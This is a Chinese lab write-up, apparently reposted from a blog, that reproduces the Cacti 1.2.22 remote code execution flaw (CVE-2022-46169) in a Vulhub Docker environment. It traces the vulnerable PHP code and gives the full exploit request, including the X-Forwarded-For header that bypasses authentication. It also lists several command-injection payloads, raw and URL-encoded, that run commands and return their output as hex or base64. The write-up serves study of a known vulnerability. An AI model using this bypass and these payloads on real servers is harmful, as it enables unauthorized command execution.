当前位置: 首页 > news >正文

RCE真实漏洞初体验

文章目录

  • 1 准备工作
    • 1.1 搭建环境
      • 1.1.1 下载与安装
      • 1.1.2 创建新图表
      • 1.1.3 切换攻击者视角/漏洞复现
  • 2 漏洞实操
    • 2.1 思路
    • 2.2 步骤
      • 2.2.1 拿到payload
      • 2.2.2 抓包
      • 2.2.3 绕过鉴权
      • 2.2.4 `get`传参
      • 2.2.5 如何回显?

1 准备工作

文档主要参考
https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169

1.1 搭建环境

1.1.1 下载与安装

在Vulhub下载cacti漏洞环境
在这里插入图片描述
或在github中下载环境
在这里插入图片描述
在虚拟机中的 /vulhub/cacti/CVE-2022-46169目录下输入以下命令下载漏洞安装包:
wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip
下载完后用unzip命令解压
执行以下命令以启动 Cacti 服务器 1.2.22:
docker compose up -d
使用docker images命令发现启动成功
在这里插入图片描述
在浏览器输入ip地址加8080端口号进行安装
http://192.168.244.141:8080/
输入默认账户密码
admin进入安装界面
在这里插入图片描述
安装成功!成功进入界面
在这里插入图片描述

1.1.2 创建新图表

在这里插入图片描述

1.1.3 切换攻击者视角/漏洞复现

退出cacti
并且进入到数据库中
在这里插入图片描述
查询数据库poller_item
在这里插入图片描述
正确显示,环境安装成功。

2 漏洞实操

2.1 思路

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

在这里插入图片描述
在remote_agent.php中加载相关文件:
在这里插入图片描述
指令进入代码之后首先回进入下面这个if函数中
在这里插入图片描述

当远程客户端未授权时将会显示“您无权使用此服务”并退出程序,绕过此if鉴权函数时将会进行get传参请求
由于get传递的参数用户可控
我们的命令需要在switch函数下poldatapoll_for_data();执行
在这里插入图片描述
poll_for_data();该函数中
在这里插入图片描述
同步执行三个有一定过滤的请求

	$local_data_ids = get_nfilter_request_var('local_data_ids');$host_id        = get_filter_request_var('host_id');$poller_id      = get_nfilter_request_var('poller_id');

在这里插入图片描述
因此get传参action三个数据
在这里插入图片描述

由于执行没有回显因此我们需要使用创建文件的命令touch+/tmp/success,查看该文件是否正常创建

2.2 步骤

2.2.1 拿到payload

我们需要打印payload,所以我们需要抓包!

2.2.2 抓包

在这里插入图片描述
在这里插入图片描述
在浏览器地址栏输入/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=touch+/tmp/success
在这里插入图片描述
获得:
在这里插入图片描述
我们需要添加X-Forwarded-For: 127.0.0.1获取get_client_addr();客户端
在这里插入图片描述

2.2.3 绕过鉴权

在remote_agent.php文件中的 $client_addr = get_client_addr();下插入print_r($client_addr);获取客户端的值是否为127.0.0.1
在这里插入图片描述
$client_name = gethostbyaddr($client_addr);下插入print_r($client_name);打印出是否为hostname值并exit中断程序
在这里插入图片描述
发送
在这里插入图片描述
完美符合条件!
在functions.php文件中有关于 get_client_addr函数

function get_client_addr($client_addr = false) {$http_addr_headers = array('X-Forwarded-For','X-Client-IP','X-Real-IP','X-ProxyUser-Ip','CF-Connecting-IP','True-Client-IP','HTTP_X_FORWARDED','HTTP_X_FORWARDED_FOR','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','HTTP_CLIENT_IP','REMOTE_ADDR',);$client_addr = false;foreach ($http_addr_headers as $header) {if (!empty($_SERVER[$header])) {$header_ips = explode(',', $_SERVER[$header]);foreach ($header_ips as $header_ip) {if (!empty($header_ip)) {if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);} else {$client_addr = $header_ip;cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);break 2;}}}}}return $client_addr;
}

目前该函数中,client_addrX-Forwarded-For走到foreach函数中进行循环,header即为X-Forwarded-For所以不为空跳到下一层循环,由于127.0.0.1为合法ip所以跳入else,将其赋值给$client_addr我们可以将其打印出来,这样更清晰的显示出来
在这里插入图片描述
在burp点击发送!
在这里插入图片描述
成功!
由以上可知我们的hostname就是localhost
在这里插入图片描述
由于$client_name不等于$client_addr也就是我们的localhost不等于127.0.0.1因此会跳入else

$client_name = remote_agent_strip_domain($client_name);

remote_agent_strip_domain这个过滤函数只过滤.因此localhost会正常返回,返回出来依然是localhost(此处就不打印出来了)
进入下一个函数

$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);if (cacti_sizeof($pollers)) {foreach($pollers as $poller) {if (remote_agent_strip_domain($poller['hostname']) == $client_name) {return true;} elseif ($poller['hostname'] == $client_addr) {return true;}}}

$pollers里的hostname在数据库表中为localhost$client_name的值localhost相等因此会返回true,至此if鉴权函数已经绕过
只要有success,代码即执行成功
在这里插入图片描述
查看docker环境中存在success,代码执行成功!!!

2.2.4 get传参

action由于是get传参因此用户可控,当action=polldata才能触发case 'polldata'执行poll_for_data();代码
function poll_for_data()函数中
传递了三个参数:

	$local_data_ids = get_nfilter_request_var('local_data_ids');$host_id        = get_filter_request_var('host_id');$poller_id      = get_nfilter_request_var('poller_id');$return         = array();

第一行代码传数组[0]=6数组只有一个元素6
第二行代码传参1
第三行代码传命令执行如touch

这三个传参有相应的过滤函数

第一个传参没有过滤,由于我们使用的为get传参request请求直接返回值
第二个由于传参为一个数字1没有单引号,因此不会过滤
第三个

我们可以通过打印查看返回的值
在这里插入图片描述
开始遍历

			$items = db_fetch_assoc_prepared('SELECT *FROM poller_itemWHERE host_id = ?AND local_data_id = ?',array($host_id, $local_data_id));

,通过第一个if查询到数组为

       local_data_id: 6poller_id: 1host_id: 1action: 2present: 1last_updated: 2025-07-25 06:10:01hostname: localhostsnmp_community: publicsnmp_version: 0snmp_username:snmp_password:snmp_auth_protocol:
snmp_priv_passphrase:snmp_priv_protocol:snmp_context:snmp_engine_id:snmp_port: 161snmp_timeout: 500rrd_name: uptimerrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrdrrd_num: 1rrd_step: 300rrd_next_step: 0arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptimearg2:arg3:

第二个遍历

			$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)FROM poller_itemWHERE host_id = ?AND local_data_id = ?AND action = 2',array($host_id, $local_data_id));

将数组里的action取出,值为2
由于POLLER_ACTION_SCRIPT_PHP值为2,因此将会匹配到case POLLER_ACTION_SCRIPT_PHP
进入到该case中进行第一个if函数

						if (function_exists('proc_open')) {$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);$output = fgets($pipes[1], 1024);$using_proc_function = true;} else {$using_proc_function = false;}

通过该代码的read_config_option('path_php_binary')取出php路径执行 /usr/local/bin/php -q script_server.php realtime touch /tmp/success

2.2.5 如何回显?

关键函数

function is_hexadecimal($result) {$hexstr = str_replace(array(' ', '-'), ':', trim($result));$parts = explode(':', $hexstr);foreach($parts as $part) {if (strlen($part) != 2) {return false;}if (ctype_xdigit($part) == false) {return false;}}return true;
}

命令结果必须是16进制,最好是空格隔开!!!
以下三个命令:

|echo "test\r\n`id" | xxd -p -c 1|awk '{printf \"%s \", $0}'`"; 
|echo "test\r\n :`id | base64 -w0`"; 
|echo "test\r\n`id |base64 -w0|awk -v ORS=':' '{print $0}'`"; 

将其进行urlenode编码


%7Cecho%20%22test%5Cr%5Cn%60id%22%20%7C%20xxd%20-p%20-c%201%7Cawk%20'%7Bprintf%20%5C%22%25s%20%5C%22,%20$0%7D'%60%22;%20

第一种方法有几率不成功


%7Cecho%20%22test%5Cr%5Cn%20:%60id%20%7C%20base64%20-w0%60%22;%20

%7Cecho%20%22test%5Cr%5Cn%60id%20%7Cbase64%20-w0%7Cawk%20-v%20ORS=':'%20'%7Bprint%20$0%7D'%60%22;%20

输入到burp中!
在这里插入图片描述
获得回显

dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK

进行base64解码

uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功!!!

http://www.lryc.cn/news/599085.html

相关文章:

  • 制造业低代码平台实战评测:简道云、钉钉宜搭、华为云Astro、金蝶云·苍穹、斑斑低代码,谁更值得选?
  • NBIOT模块 BC28通过MQTT协议连接到EMQX
  • 栈与队列:数据结构核心解密
  • 《Uniapp-Vue 3-TS 实战开发》自定义环形进度条组件
  • 数据结构 二叉树(1)
  • 《Uniapp-Vue 3-TS 实战开发》自定义年月日时分秒picker组件
  • uniapp创建vue3+ts+pinia+sass项目
  • Linux 桌面市场份额突破 5%:开源生态的里程碑与未来启示
  • 【数据结构与算法】数据结构初阶:详解二叉树(六)——二叉树应用:二叉树选择题
  • 数据结构3-单双链表的泛型实现及ArrayList与LinkedList的区别
  • SpringBoot(黑马)
  • 【Unity笔记】OpenXR 之VR串流开发笔记:通过RenderTexture实现仅在PC端展示UI,在VR眼镜端隐藏UI
  • Java数组详解
  • S7-1500 与 ET200MP 的组态控制通信(Configuration Control)功能实现详解(下)
  • 【C++进阶】第7课—红黑树
  • SQLFluff
  • Microsoft-DNN NTLM暴露漏洞复现(CVE-2025-52488)
  • RWA的法律合规性如何保证?KYC/AML在RWA项目中的作用是什么?
  • 融合与智能:AI 浪潮驱动下数据库的多维度进化与产业格局重塑新范式
  • 【Java学习】匿名内部类的向外访问机制
  • Android Camera setRepeatingRequest
  • 星慈光编程虫2号小车讲解第三篇--附件概述
  • 星慈光编程虫2号小车讲解第四篇--触摸按键
  • 星慈光编程虫2号小车讲解第一篇--向前向后
  • 【Web APIs】JavaScript 节点操作 ⑧ ( 删除节点 - removeChild 函数 | 删除节点 - 代码示例 | 删除网页评论案例 )
  • 【软件与环境】--SSH连接远程服务器工具:FinalShell
  • LLM中的位置嵌入矩阵(Position Embedding Matrix)是什么
  • Python编程进阶知识之第五课处理数据(matplotlib)
  • 星慈光编程虫2号小车讲解第二篇--向左向右平移
  • Linux join命令快速从大文件中匹配内容